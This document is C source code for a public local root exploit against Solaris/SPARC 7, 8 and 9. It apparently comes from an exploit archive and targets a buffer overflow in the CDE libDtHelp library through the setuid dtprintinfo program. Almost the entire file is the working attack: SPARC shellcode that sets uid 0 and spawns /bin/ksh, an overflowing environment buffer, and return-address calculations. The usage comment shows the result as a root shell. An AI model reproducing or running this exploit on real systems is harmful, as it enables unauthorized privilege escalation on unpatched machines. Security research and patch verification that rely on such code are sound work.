/* * $Id: raptor_libdthelp.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ * * raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9 * Copyright (c) 2003-2004 Marco Ivaldi * * Buffer overflow in CDE libDtHelp library allows local users to execute * arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable * and the Help feature (CAN-2003-0834). * * Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit), * DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different * exploitation technique, due to different code paths). * * Usage: * $ gcc raptor_libdthelp.c -o raptor_libdthelp -Wall * [on your xserver: disable the access control] * $ ./raptor_libdthelp 192.168.1.1:0 * [on your xserver: enter the dtprintinfo help] * # id * uid=0(root) gid=1(other) * # * * Vulnerable platforms: * Solaris 7 without patch 107178-03 [tested] * Solaris 8 without patch 108949-08 [tested] * Solaris 9 without patch 116308-01 [tested] */ #include #include #include #include #include #define INFO1 "raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9" #define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi " #define VULN "/usr/dt/bin/dtprintinfo" // default setuid target #define BUFSIZE 1200 // size of the evil buffer #define VARSIZE 1024 // size of the evil env vars /* voodoo macros */ #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ /* double setuid() */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* execve() */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE]; char platform[256], release[256], display[256]; int i, offset, ret, var1_addr, var2_addr; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* prepare the evil buffer */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; memcpy(buf, "DTHELPSEARCHPATH=", 17); /* prepare the evil env vars */ memset(var1, 'B', sizeof(var1)); var1[sizeof(var1) - 1] = 0x0; memset(var2, 'C', sizeof(var2)); var2[sizeof(var2) - 1] = 0x0; /* fill the envp, keeping padding */ var1_addr = add_env(sc); var2_addr = add_env(var1); add_env(var2); add_env(display); add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin"); add_env("HOME=/tmp"); add_env(buf); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ ret = sb - offset + arg_len; var1_addr += ret; var2_addr += ret; /* fill the evil buffer */ for (i = 17; i < BUFSIZE - 8; i += 4) set_val(buf, i, var1_addr - 5000); /* fill the evil env vars */ for (i = 0; i < VARSIZE - 8; i += 4) set_val(var1, i, var2_addr - 500); for (i = 0; i < VARSIZE - 8; i += 4) set_val(var2, i, ret); /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr); fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr); fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return(env_len); } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); } // milw0rm.com [2004-12-24]

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